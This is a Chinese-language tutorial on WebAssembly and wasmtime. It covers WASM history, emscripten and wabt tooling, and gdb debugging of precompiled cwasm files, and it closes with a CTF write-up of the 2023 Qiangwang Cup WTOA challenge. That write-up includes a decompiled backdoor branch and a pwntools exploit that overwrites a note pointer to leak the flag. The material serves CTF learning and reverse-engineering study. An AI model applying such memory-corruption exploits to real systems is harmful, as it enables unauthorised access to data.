发展

WASM即WebAssembly

其是Google开发的一款浏览器中使用的汇编语言.设计的初衷是使用c原生binary加速jiavascript的计算行为。wasm编译形成的binary类似一种基于栈的虚拟机有自己的编译器和指令集。

要谈webassembly的历史就得谈到 javaScript 了,众所周知, javaScript 是一门动态类型的语言,编写程序时无需考虑变量类型,而且还可以运行时改变类型。对于开发者,确实很方便,但对于运行它的引擎就很有问题了。看一下 V8 引擎从 js 源码到执行的一个过程。

img

由于 js 的动态类型,解释器在执行代码的时候会在类型判断上带来一定的性能消耗,降低执行速度。所以 V8 引擎采用了 JIT(即时编译技术) 技术,监控一些经常执行的代码,将其编译成 CPU 直接执行的机器码,提高执行速度。但由于 js 动态类型,在某些情况下还得反优化,回到字节码进行执行。

随着前端的不断发展,项目的大小和复杂度不断增大,对于某些场景,性能上可能已经无法满足,浏览器厂商们也一直在探索性能优化的方法。

NaCl/PNaCl

2011GoogleChrome 中使用了 NaCl 技术,可以使得 C 语言编写的程序运行到浏览器中,下边是维基百科的定义。

Google Native Client(缩写为NaCl),是一个由谷歌所发起的开放源代码计划,采用BSD许可证。它采用沙盒技术,让Intel x86、ARM或MIPS子集的机器代码直接在沙盒上运行。它能够从浏览器直接运行程序机器代码,独立于用户的操作系统之外,使Web应用程序可以用接近于机器代码运作的速度来运行,同时兼顾安全性。其功能类似于微软的 ActiveX,但是ActiveX只支持视窗系统。

但一个完整的 NaCl 应用,在分发时需要提供支持多个架构平台(X86 / X64 / ARM 等)的模块文件,后来谷歌又推出了与底层架构无关的 PNaCl 技术。但由于其开发难度、兼容性等问题最终没有普及开来。在 2017Google 宣布放弃 PNaCl 转向 WebAssembly

ASM.js

ASM.jsMozilla2013 年推出的,是 javaScript 的一个严格子集,可以作为 C/C++ 编译的目标语言,从而使得 js 引擎可以采用 AOT(Ahead Of Time) 的编译策略,也就是在运行前直接编译成机器码,因此运行速度会有一定的提升。

ASM.js 通常不直接编写,而是作为一种通过编译器生成的中间语言,该编译器获取 C++ 或其他语言的源代码,然后输出 ASM.js

例如下边的 C 语言代码。

1
2
3
int f(int i) {
return i + 1;
}

经过编译器编译会生成下边的 js 代码。

1
2
3
4
function f(i) {
i = i|0;
return (i + 1)|0;
}

注意这里的|0js 中相当于和 0 进行了或操作,所以不影响原本的逻辑。在 asm.js 中起到了类型标记的作用,这样 js 引擎执行的时候就知道 i 是一个整型,返回值是一个整型。除了或操作这种,ASM.js 标准中还规定了很多类似的标记规则,用于告诉 js 引擎变量的类型,便于进行 AOT 优化。

这看起来和 TypeScript 很像,但其实不是一种东西。TypeScriptjs 的一个超集,浏览器并不能直接执行 ts,还需要转换为 js 去执行。ts 主要是帮助我们开发人员去看的,增加了代码的可读性,也可以让编辑器提前发现一些错误。而 asm.js 是用于引擎的编译优化。

WebAssembly

接下来看一下 WebAssembly 的历史。

2015 年 4 月,WebAssembly Community Group 成立;
2015 年 6 月,WebAssembly 第一次以 WCG 的官方名义向外界公布;
2016 年 8 月,WebAssembly 开始进入了漫长的 “Browser Preview” 阶段;
2017 年 2 月,WebAssembly 官方 LOGO 在 Github 上的众多讨论中被最终确定;同年同月,一个历史性的阶段,四大浏览器(FireFox、Chrome、Edge、WebKit)在 WebAssembly 的 MVP(最小可用版本)标准实现上达成共识,这意味着 WebAssembly 在其 MVP 标准上的 “Brower Preview” 阶段已经结束;
2017 年 8 月,W3C WebAssembly Working Group 成立,意味着 WebAssembly 正式成为 W3C 众多技术标准中的一员。

WebAssembly2019125 日成为万维网联盟(W3C)的推荐标准,与 HTMLCSSJavaScript 一起成为 Web 的第四种语言。

可以看一下目前浏览器的支持程度,已经算比较高了。

img

环境搭建及工具

开发环境emscripten

emscripten 是一套编译构建方案,同时提供了比较完整的 SDK 。它使我们可以非常方便地使用 C/C++ 语言完成 WebAssembly 相关的开发与环境集成。

安装的方式,是先拉取 git 代码:

1
git clone https://github.com/emscripten-core/emsdk.git

进入目录后,执行安装,它会下载 C 编辑器,nodejs 等一堆东西:

1
2
3
cd emsdk
./emsdk install latest
./emsdk activate latest

最后处理一下环境(效果只在终端的当前会话有效):

1
source ./emsdk_env.sh

emcc 是一个可执行命令时,整个环境就准备好了。

基本使用

写一个最简单的hello world程序

1
2
3
4
5
#include<stdio.h>

int main(){
printf("hello world.\n");
}

使用命令行编译

emcc hello.c -o hello.html

因为这个编译出来是html,所以用python搭建一个服务器运行验证一下,

1
python -m http.server 9000

之后访问127.0.0.1:9000/hello.html可以看到hello world的消息。以及emsc控制台的界面。

更多选项

emcc —help查看

-o

在上一步中我们指定编译结果为html格式

实际上可以有更多形式

文档原话是

“-o
[link] When linking an executable, the “target” file name extension
defines the output type to be generated:

1
2
3
4
5
6
7
8
9
10
11
12
* <name> **.js** : JavaScript (+ separate **<name>.wasm** file
if emitting WebAssembly). (default)

* <name> **.mjs** : ES6 JavaScript module (+ separate
**<name>.wasm** file if emitting WebAssembly).

* <name> **.html** : HTML + separate JavaScript file
(**<name>.js**; + separate **<name>.wasm** file if emitting
WebAssembly).

* <name> **.wasm** : WebAssembly without JavaScript support code
("standalone Wasm"; this enables "STANDALONE_WASM").

These rules only apply when linking. When compiling to object code
(See -c below) the name of the output file is irrelevant.

即-o选项指定的生成文件名的后缀会影响编译结果的文件格式及数量

一般要生成能够由wasm运行时直接运行的文件需要.wasm后缀格式,即webassembly二进制格式

-s

指定编译时的一些设置变量

例如

1
2
3
-s WASM=1
-s PURE_WASI=1 #尽可能的使用WASI API
-s STACK_OVERFLOW_CHECK=1

还有许多变量参数,可以在 $HOME/emsdk/upstream/emscripten/src/目录下的setting.js文件中查看

-g

保留调试符号信息

“-g
[compile+link] Controls the level of debuggability. Each level
builds on the previous one:

  * "-g0": Make no effort to keep code debuggable.

  * "-g1": When linking, preserve whitespace in JavaScript.

  * "-g2": When linking, preserve function names in compiled code.

  * "-g3": When compiling to object files, keep debug info,
    including JS whitespace, function names, and LLVM debug info
    (DWARF) if any (this is the same as -g).

-O

开启优化

WASM运行时

wasm运行时即用于加载、解释和执行 WebAssembly 模块的软件层,其可以模拟浏览器运行wasm的环境,在不启动浏览器的环境下操作wasm

WASM有四种主流的运行时,分别是

wasmedge、wasmtime、wasmer、WAVM

ctf比赛中出现的比较多的是wasmtime,这里着重介绍它

wasmtime

github仓库bytecodealliance/wasmtime: A fast and secure runtime for WebAssembly (github.com)

可以下载历史版本的wasmtime

主要命令如下

1
2
3
4
5
6
7
8
9
Commands:
run Runs a WebAssembly module
config Controls Wasmtime configuration settings
compile Compiles a WebAssembly module
explore Explore the compilation of a WebAssembly module to native code
serve Serves requests from a wasi-http proxy component
settings Displays available Cranelift settings for a target
wast Runs a WebAssembly test script file
help Print this message or the help of the given subcommand(s)

run

运行wasm文件或者cwasm文件,不过大概率要求加—allow-precompiled选项

compile

将wasm文件编译为当前架构下的可执行文件格式(e.g. ELF)

后缀.cwasm(compiled wasm)

不过依然不能直接运行,还是要wasmtime执行

更多选项

-D

调试

1
2
-D, --debug <KEY[=VAL[,..]]>
Debug-related configuration options, `-D help` to see all
—env

设置环境变量

1
2
--env <NAME[=VAL]>
Pass an environment variable to the program.
—invoke

单独执行某个函数,可以指定参数

1
2
3
4
5
6
--invoke <FUNCTION>
The name of the function to run

Invoking a specific function (e.g. `add`) in a WebAssembly module:

wasmtime --invoke add example.wasm 1 2
—allow-precompiled

允许提前编译

1
2
3
4
--allow-precompiled
Allow executing precompiled WebAssembly modules as `*.cwasm` files.

Note that this option is not safe to pass if the module being passed in is arbitrary user input. Only `wasmtime`-precompiled modules generated via the `wasmtime compile` command or equivalent should be passed as an argument with this option specified.
—disable-cache(deprecated)

老版本选项,不使用缓存

wasmer

wabt

The WebAssembly Binary Toolkit

官方仓库WebAssembly/wabt: The WebAssembly Binary Toolkit (github.com)

提供了一组wasm的工具包

主要如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
WABT (we pronounce it "wabbit") is a suite of tools for WebAssembly, including:

wat2wasm: translate from WebAssembly text format to the WebAssembly binary format
wasm2wat: the inverse of wat2wasm, translate from the binary format back to the text format (also known as a .wat)
wasm-objdump: print information about a wasm binary. Similiar to objdump.
wasm-interp: decode and run a WebAssembly binary file using a stack-based interpreter
wasm-decompile: decompile a wasm binary into readable C-like syntax.
wat-desugar: parse .wat text form as supported by the spec interpreter (s-expressions, flat syntax, or mixed) and print "canonical" flat format
wasm2c: convert a WebAssembly binary file to a C source and header
wasm-strip: remove sections of a WebAssembly binary file
wasm-validate: validate a file in the WebAssembly binary format
wast2json: convert a file in the wasm spec test format to a JSON file and associated wasm binary files
wasm-stats: output stats for a module
spectest-interp: read a Spectest JSON file, and run its tests in the interpreter

还有其他一些小工具

wat即Webassembly的文本格式

WASI

WASI

WASI is a modular system interface for WebAssembly. As described in the initial announcement, it’s focused on security and portability.

WebAssembly是一种新的字节码格式,目前被应用于 web 中,由于其可移植、体积小,安全性的等优点被渐渐广泛认可,但是其主要是运行在浏览器中。

一些天才们想让 WebAssembly 也可以运行在非浏览器环境中,这就产生了 WASI。

wasi需要可移植的二进制文件(.wasm)和一个跨平台的 runtime,也就是说,我们在某一个平台上生成了.wasm,直接拿到其他平台上,也可以直接使用。

WASM标准

wasmtime模拟堆栈

其实不只是wasmtime运行时,wasm标准应该都是这样(至少wasmer也是这样),只不过细节上可能有点差异

wasmtime自身实现了一套模拟堆栈,客户wasm程序的很多数据操作都是基于模拟堆栈

以某题为例,其模拟堆栈位于

1
2
3
0x7f5cdb321000     0x7f5cdb331000 rw-p    10000      0 [anon_7f5cdb321]
0x7f5cdb331000 0x7f5cdb332000 rw-p 1000 33000 /home/aichch/pwn/minesweeper/admin/minesweeper
0x7f5cdb332000 0x7f5cdc321000 rw-p fef000 0 [anon_7f5cdb332]

可以看到其模拟堆栈被分为了三块,分别是:

  1. 模拟栈
  2. 模拟bss段,存储程序全局变量之类,来自于ELF映像
  3. 模拟堆,用于动态内存分配

wasmtime在进行堆栈上的操作的时候使用的是相对模拟堆栈基地址的偏移,并且因为是相对偏移所以不存在随机化

并且可以观察到其模拟堆栈字长为4字节

一个堆块的结构大致如下

1
2
size(with flags)|unknown
content

暂时还没有深入研究剩余的,先搁置了

WASM调试

wasm类题目调试是一大难点

特别是当提供的是经由wasmtime等运行时二次编译过的适应架构的文件,例如cwasm格式文件

浏览器调试

如果提供的文件是非由运行时二次编译的文件

那么可以使用chrome浏览器的开发者工具进行调试

gdb调试

如果提供的文件是由运行时二次编译的文件

由于几乎没有符号信息,且代码量较大,想要静态分析难度不低

那么就得使用gdb进行调试

gdb --args wasmtime --allow-precompiled cwasm

不过这样显然是直接调试wasmtime程序,而不是我们希望的二进制文件

但是最终程序控制流肯定会转移给cwasm文件,而既然是题目那就肯定存在由用户控制的输入

所以我们可以直接运行直到自动断在有输入处,可以发现最终是直接运行cwasm映射在内存中的代码段

例如,这是2023强网杯WTOA的text段映射,整个text都被映射在这(elf中text段大小就是0xc000)

0x7ffff79fe000 0x7ffff7a0a000 r-xp c000 1000 /home/aichch/pwn/WTOA/wtoa

段内偏移不变,但段与段之间的偏移是会变

不过只要能够确定代码位置便足够了

之后触发各种函数,再由gdb回溯栈信息得出各个重要函数的的位置,并回到ida中逆向分析

需要注意的是gdb分析给出的回溯栈信息并不完全准确

例如

这是最开始的回溯路径,但继续往下执行后它变成了

可见回溯栈少了一层,而且查看少的那层可以发现里面确实没有可执行代码

再往下,在即将再往下一层回溯时,栈又发生了变化

倒没有深入去研究这其中的原由,猜测可能是gdb栈回溯机制的原因

因为如此,对调试确定代码位置的难度又加大了一点,即不能直接一次性判断所有的栈回溯,而是要缓慢步进,根据正确的栈回溯信息作出判断

还有最后一点就是,就算确定了静态wasm的代码位置,真正进入静态分析就会发现内部依然是在嵌套调用其它函数,不过此时大可不必不停向下深入分析所有函数,只要能根据经验大致确认一两层便足够了

例题

2023强网杯-WTOA

题目提供了两个文件

./launch.sh是一个shell脚本,用于添加flag环境变量并执行程序

wtoa乍一看是一个ELF文件

1
2
file wtoa 
wtoa: ELF 64-bit LSB relocatable, x86-64, version 1, not stripped

但是当使用ida加载时,会发现其完全不符合认知中的elf规范

根据其中的字符串信息(string file),可以知道这是一个经由11.0.1版本的wasmtime将wasm文件再编译而来的elf

图片中显示的各个节,在运行时都会映射到内存中使用

其中.rodata.wasm会被映射两次,一次是以只读模式映射,另一次是可读可写的映射(貌似是在wtoa的模拟堆栈中)

代码量较大且几乎没有调试符号,直接静态分析显然难度巨大

因此需要通过调试定位几个关键的函数

调试定位

gdb启动

gdb --args /home/aichch/wasm/Wasmtime/wasmtime-v11.0.1-x86_64-linux/wasmtime run --env FLAG="$FLAG" --disable-cache --allow-precompiled ./wtoa

首先观察vmmap显示的调试信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x555555400000 0x555556bce000 r-xp 17ce000 0 /home/aichch/wasm/Wasmtime/wasmtime-v11.0.1-x86_64-linux/wasmtime
0x555556dce000 0x555556f9e000 r--p 1d0000 17ce000 /home/aichch/wasm/Wasmtime/wasmtime-v11.0.1-x86_64-linux/wasmtime
0x555556f9e000 0x555556fa1000 rw-p 3000 199e000 /home/aichch/wasm/Wasmtime/wasmtime-v11.0.1-x86_64-linux/wasmtime
0x555556fa1000 0x555556fe5000 rw-p 44000 0 [heap]
0x7ffdf7bb1000 0x7ffe77bb1000 ---p 80000000 0 [anon_7ffdf7bb1]
0x7ffe77bb1000 0x7ffe77bb3000 rw-p 2000 1b000 /home/aichch/pwn/WTOA/wtoa
0x7ffe77bb3000 0x7ffe78bb1000 rw-p ffe000 0 [anon_7ffe77bb3]
0x7ffe78bb1000 0x7ffff7bb2000 ---p 17f001000 0 [anon_7ffe78bb1]
0x7ffff7bb2000 0x7ffff7bf2000 rw-p 40000 0 [anon_7ffff7bb2]
0x7ffff7bf2000 0x7ffff7bf3000 r--p 1000 0 [anon_7ffff7bf2]
0x7ffff7bf3000 0x7ffff7bf4000 r-xp 1000 0 [anon_7ffff7bf3]
0x7ffff7bf4000 0x7ffff7bf6000 r--p 2000 0 [anon_7ffff7bf4]
0x7ffff7bf6000 0x7ffff7bf7000 r-xp 1000 0 [anon_7ffff7bf6]
0x7ffff7bf7000 0x7ffff7bf9000 r--p 2000 0 [anon_7ffff7bf7]
0x7ffff7bf9000 0x7ffff7bfa000 r-xp 1000 0 [anon_7ffff7bf9]
0x7ffff7bfa000 0x7ffff7bfc000 r--p 2000 0 [anon_7ffff7bfa]
0x7ffff7bfc000 0x7ffff7bfd000 r-xp 1000 0 [anon_7ffff7bfc]
0x7ffff7bfd000 0x7ffff7bfe000 r--p 1000 0 [anon_7ffff7bfd]
0x7ffff7bfe000 0x7ffff7bff000 r--p 1000 0 /home/aichch/pwn/WTOA/wtoa
0x7ffff7bff000 0x7ffff7c0b000 r-xp c000 1000 /home/aichch/pwn/WTOA/wtoa
0x7ffff7c0b000 0x7ffff7c1f000 r--p 14000 d000 /home/aichch/pwn/WTOA/wtoa
0x7ffff7c1f000 0x7ffff7c24000 rw-p 5000 0 [anon_7ffff7c1f]
0x7ffff7c24000 0x7ffff7c46000 r--p 22000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7c46000 0x7ffff7dbe000 r-xp 178000 22000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7dbe000 0x7ffff7e0c000 r--p 4e000 19a000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7e0c000 0x7ffff7e10000 r--p 4000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7e10000 0x7ffff7e12000 rw-p 2000 1eb000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7e12000 0x7ffff7e16000 rw-p 4000 0 [anon_7ffff7e12]
0x7ffff7e16000 0x7ffff7e23000 r--p d000 0 /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x7ffff7e23000 0x7ffff7eca000 r-xp a7000 d000 /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x7ffff7eca000 0x7ffff7f63000 r--p 99000 b4000 /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x7ffff7f63000 0x7ffff7f64000 r--p 1000 14c000 /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x7ffff7f64000 0x7ffff7f65000 rw-p 1000 14d000 /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x7ffff7f65000 0x7ffff7f6b000 r--p 6000 0 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x7ffff7f6b000 0x7ffff7f7c000 r-xp 11000 6000 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x7ffff7f7c000 0x7ffff7f82000 r--p 6000 17000 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x7ffff7f82000 0x7ffff7f83000 r--p 1000 1c000 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x7ffff7f83000 0x7ffff7f84000 rw-p 1000 1d000 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x7ffff7f84000 0x7ffff7f88000 rw-p 4000 0 [anon_7ffff7f84]
0x7ffff7f88000 0x7ffff7f8a000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/librt-2.31.so
0x7ffff7f8a000 0x7ffff7f8e000 r-xp 4000 2000 /usr/lib/x86_64-linux-gnu/librt-2.31.so
0x7ffff7f8e000 0x7ffff7f90000 r--p 2000 6000 /usr/lib/x86_64-linux-gnu/librt-2.31.so
0x7ffff7f90000 0x7ffff7f91000 r--p 1000 7000 /usr/lib/x86_64-linux-gnu/librt-2.31.so
0x7ffff7f91000 0x7ffff7f92000 rw-p 1000 8000 /usr/lib/x86_64-linux-gnu/librt-2.31.so
0x7ffff7f92000 0x7ffff7f95000 r--p 3000 0 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x7ffff7f95000 0x7ffff7fa7000 r-xp 12000 3000 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x7ffff7fa7000 0x7ffff7fab000 r--p 4000 15000 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x7ffff7fab000 0x7ffff7fac000 r--p 1000 18000 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x7ffff7fac000 0x7ffff7fad000 rw-p 1000 19000 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x7ffff7fad000 0x7ffff7fae000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x7ffff7fae000 0x7ffff7fb0000 r-xp 2000 1000 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x7ffff7fb0000 0x7ffff7fb1000 r--p 1000 3000 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x7ffff7fb1000 0x7ffff7fb2000 r--p 1000 3000 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x7ffff7fb2000 0x7ffff7fb3000 rw-p 1000 4000 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x7ffff7fb3000 0x7ffff7fb5000 rw-p 2000 0 [anon_7ffff7fb3]
0x7ffff7fb7000 0x7ffff7fb8000 r--p 1000 0 [anon_7ffff7fb7]
0x7ffff7fb8000 0x7ffff7fb9000 r-xp 1000 0 [anon_7ffff7fb8]
0x7ffff7fb9000 0x7ffff7fbb000 r--p 2000 0 [anon_7ffff7fb9]
0x7ffff7fbb000 0x7ffff7fbc000 r-xp 1000 0 [anon_7ffff7fbb]
0x7ffff7fbc000 0x7ffff7fbe000 r--p 2000 0 [anon_7ffff7fbc]
0x7ffff7fbe000 0x7ffff7fbf000 r-xp 1000 0 [anon_7ffff7fbe]
0x7ffff7fbf000 0x7ffff7fc1000 r--p 2000 0 [anon_7ffff7fbf]
0x7ffff7fc1000 0x7ffff7fc2000 r-xp 1000 0 [anon_7ffff7fc1]
0x7ffff7fc2000 0x7ffff7fc4000 r--p 2000 0 [anon_7ffff7fc2]
0x7ffff7fc4000 0x7ffff7fc5000 r-xp 1000 0 [anon_7ffff7fc4]
0x7ffff7fc5000 0x7ffff7fc6000 r--p 1000 0 [anon_7ffff7fc5]
0x7ffff7fc6000 0x7ffff7fc7000 ---p 1000 0 [anon_7ffff7fc6]
0x7ffff7fc7000 0x7ffff7fc9000 rw-p 2000 0 [anon_7ffff7fc7]
0x7ffff7fc9000 0x7ffff7fcd000 r--p 4000 0 [vvar]
0x7ffff7fcd000 0x7ffff7fcf000 r-xp 2000 0 [vdso]
0x7ffff7fcf000 0x7ffff7fd0000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7fd0000 0x7ffff7ff3000 r-xp 23000 1000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ff3000 0x7ffff7ffb000 r--p 8000 24000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 2c000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2d000 /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]

可见wtoa程序被映射到了内存空间中

可执行代码是被映射到

0x7ffff7bff000 0x7ffff7c0b000 r-xp c000 1000 /home/aichch/pwn/WTOA/wtoa

数据定位

搜寻一下引入的flag的位置

1
2
3
4
5
6
7
8
pwndbg> search flag{test}
Searching for value: 'flag{test}'
[heap] 0x555556fa7cd5 'flag{test}'
[heap] 0x555556fc9190 'flag{test}'
[anon_7ffe77bb3] 0x7ffe780b2b40 'flag{test}'
[anon_7ffe77bb3] 0x7ffe780b2c6d 'flag{test}'
[stack] 0x7fffffffe22d 'flag{test}'
[stack] 0x7fffffffecb7 'flag{test}'

找到了很多,但是位于wtoa堆栈的只有两个,偏移分别是0x501b40501c6d,多次调试可以确定这个偏移是不变的

接下来就是让程序跑起来,可以看见是类似堆的菜单题

1
2
3
4
5
6
7
8
9
10
11
pwndbg> c
Continuing.
ERROR:: No error information
flag starts with: flag
Note System
[A]dd Note
[E]dit Note
[D]elete Note
[S]how Note
E[X]it
Choice >

先创建一个Note并定位

1
2
3
pwndbg> search notenote
Searching for value: 'notenote'
[anon_7ffe77bb3] 0x7ffe780b2cb8 'notenote'

在模拟堆栈中的偏移是0x501cb8

进一步搜寻0x501cb8

1
2
3
4
02:0010│  0x7ffe780b2ca0 ◂— 0x501cb8
03:0018│ 0x7ffe780b2ca8 ◂— 0x8
04:0020│ 0x7ffe780b2cb0 ◂— 0x1300000000
05:0028│ 0x7ffe780b2cb8 ◂— 'notenote'

note在内存中的存储结构便大概是这样

1
2
3
4
pointer
size
unknown
content

函数定位

正常在输入点断下时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> bt
#0 0x00007ffff7d38607 in __GI___readv (fd=0, iov=0x555556fbb5c0, iovcnt=1) at ../sysdeps/unix/sysv/linux/readv.c:26
#1 0x0000555556424da4 in std::sys::unix::fd::FileDesc::read_vectored () at library/std/src/sys/unix/fd.rs:99
#2 std::sys::unix::fs::File::read_vectored () at library/std/src/sys/unix/fs.rs:1119
#3 <&std::fs::File as std::io::Read>::read_vectored () at library/std/src/fs.rs:810
#4 0x0000555555b704e0 in <wasi_cap_std_sync::stdio::Stdin as wasi_common::file::WasiFile>::read_vectored::{{closure}} () at library/core/src/str/pattern.rs:1796
#5 0x0000555555b93eaf in wasi_common::snapshots::preview_1::<impl wasi_common::snapshots::preview_1::wasi_snapshot_preview1::WasiSnapshotPreview1 for wasi_common::ctx::WasiCtx>::fd_read::{{closure}} () at library/core/src/str/pattern.rs:1796
#6 0x000055555583be3f in <tracing::instrument::Instrumented<T> as core::future::future::Future>::poll () at library/core/src/str/pattern.rs:1796
#7 0x00005555557e3db3 in wiggle::run_in_dummy_executor () at library/core/src/str/pattern.rs:1796
#8 0x0000555555859720 in <core::panic::unwind_safe::AssertUnwindSafe<F> as core::ops::function::FnOnce<()>>::call_once () at library/core/src/str/pattern.rs:1796
#9 0x00005555558bcd04 in wasmtime_runtime::instance::Instance::from_vmctx () at library/core/src/str/pattern.rs:1796
#10 0x00005555558eede9 in <F as wasmtime::func::IntoFunc<T,(wasmtime::func::Caller<T>,A1,A2,A3,A4),R>>::into_func::native_call_shim () at library/core/src/str/pattern.rs:1796
#11 0x00007ffff7c0a70a in ?? ()
#12 0x00007fffffffba30 in ?? ()
#13 0x00007ffff7c01f75 in ?? ()
#14 0x00007ffe77bb1000 in ?? ()
#15 0x0000000000501c50 in ?? ()
#16 0x0000000000000000 in ?? ()

函数调用栈十分复杂,当然顶上那一批都是wasmtime的调用api

我们主要关注wtoa映射的部分

一直finish到代码映射段,之后ni单步

以add函数为例

这是跳过wasmtime api之后的部分,之后不停的ni

可以看到在ni进入0x7ffff7bff2f0时,底下出现了字符串信息

那么大致便可以确定0x7ffff7bff2f0-0x7ffff7bff000+0x1000=0x12f0处便是add函数了

以此类推能得到其他函数的地址

1
2
3
4
5
6
menu: 0x2120
add: 0x12F0
delete: 0x19C0
edit: 0x15D0
show: 0x1BA0
exit: 0x2900

确定完这些主要函数后便能够进入ida开始更多地静态分析了

不过在此之前还得先确定一些辅助函数

si进入以上任意一个函数中,继续使用以上的方法

可以判断出以下函数

1
2
3
getinput: 0x3EF0
output: 0x3DD0
atoi: 0x2990

后门

edit函数留有后门,可以直接修改node的结构体。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if ( v12 == 0x345231 )
{
if ( *(_DWORD *)(v5 + 4016) == 1 )
{
v14 = *(_DWORD *)(v5 + v4 + 44);
*(_DWORD *)(v5 + v4 + 4) = *(_DWORD *)(v5 + v4 + 40);
*(_DWORD *)(v5 + v4) = v14;
output(a1, a1, 1246LL, (unsigned int)(v20 - 96));
wasm_0_::function_9_(
a1,
a1,
(unsigned int)(*(_DWORD *)(v19 + 40)
+ *(_DWORD *)(v5
+ *(unsigned int *)(v5
+ (unsigned int)(*(_DWORD *)(v5 + *(unsigned int *)(v19 + 92) + 4)
+ 4 * *(_DWORD *)(v5 + v4 + 44))))),
48LL);
*(_DWORD *)(v5 + 4016) = 0;
goto LABEL_15;
}

如果length为0x345231的话可以进入一个特殊分支

这个分支依然有点难读,不过此时完全可以直接调试来判断后门的功能

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh=process('./launch.sh')

def add(content):
sh.sendlineafter(b'Choice > ', b'A')
sh.sendlineafter(b'size > ', str(len(content)).encode())
sh.sendafter(b' > ', content)

def edit(index, offset, length, content):
sh.sendlineafter(b'Choice > ', b'E')
sh.sendlineafter(b'index > ', str(index).encode())
sh.sendlineafter(b'offset > ', str(offset).encode())
sh.sendlineafter(b'length > ', str(length).encode())
sh.sendlineafter(b' > ', content)

def show(index, offset, length):
sh.sendlineafter(b'Choice > ', b'S')
sh.sendlineafter(b'index > ', str(index).encode())
sh.sendlineafter(b'offset > ', str(offset).encode())
sh.sendlineafter(b'length > ', str(length).encode())

#sh = remote('47.100.169.26', 20231)

add(b'AB')
add(b'CD')
edit(0, 0, 0x345231, flat({0x20:0x501b40, 0x28:0x100}, filler=b'\0', length=0x30))
show(1, 0, 0x100)

sh.interactive()